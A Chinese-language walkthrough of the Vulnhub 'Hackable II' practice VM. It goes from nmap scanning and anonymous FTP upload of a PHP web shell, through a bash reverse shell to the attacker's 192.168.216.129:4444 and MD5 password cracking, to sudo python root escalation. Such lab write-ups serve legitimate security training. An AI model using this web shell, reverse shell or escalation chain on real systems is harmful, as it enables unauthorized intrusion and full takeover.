【渗透测试】Vulnhub Hackable II

渗透环境

攻击机:   IP: 192.168.216.129(Kali)
靶机:     IP:192.168.216.131
靶机下载地址:https://www.vulnhub.com/entry/hackable-ii,711/

进行渗透

一、 获取端口信息

该虚拟机导入VMware需要在拯救模式中重新配置一下网卡名称,附上教程,不再赘述:https://blog.csdn.net/liver100day/article/details/119109320

进行端口扫描

nmap -O -sV -p- -A 192.168.216.131

扫描WEB目录

打开CALL.html,没有什么发现

尝试使用nmap扫描FTP服务,看是否允许匿名登录

nmap --script ftp-anon 192.168.216.131

扫描结果表明该主机的FTP服务允许匿名登录,且匿名用户能够访问至少一个文件(CALL.html

登录FTP服务,用户名为anonymous,密码不用输入(直接敲回车)

二、 寻找WEB漏洞

查看文件,并下载CALL.html

dir
get CALL.html

下载后浏览CALL.html源码并未发现有用信息
尝试上传文件,在攻击机当前路径下写文件test.php,内容如下:

<?=phpinfo();?>

通过FTP上传到目标机器

put test.php

上传成功,且在/files/下可以看到该文件,访问该文件,发现可以成功解析

接下来的思路就比较清晰了,写一个PHP文件,触发时让目标机器反向连接我们的攻击机来反弹shell。
trojan.php,内容如下:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>

将其上传

put trojan.php

攻击机启动监听

nc -nlvp 4444

浏览器访问trojan.php,触发木马进行反向连接

成功反弹shell

三、 提权

接下来进入/home目录,可以看到一个shrek用户,另外还有一个important.txt

读取important.txt

提示我们运行/.runme.sh

后面的字符串显然是经过md5运算的,我们使用在线md5破解网站进行解码,得到密码:onion

创建交互式shell,切换到用户shrek

python3 -c 'import pty;pty.spawn("/bin/bash")'
su shrek

常规思路,查看一下具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

没有什么发现

查看shrek用户可执行的特权命令

sudo -l

写一个py文件root.py,内容如下:

echo 'import pty;pty.spawn("/bin/bash")' > root.py

该文件的作用就是打开一个交互式的shell

接下来执行

sudo /usr/bin/python3.5 /home/shrek/root.py

这里建议都使用绝对路径,相对路径有时无法成功执行。

这样就用root的身份登录了shell,渗透结束。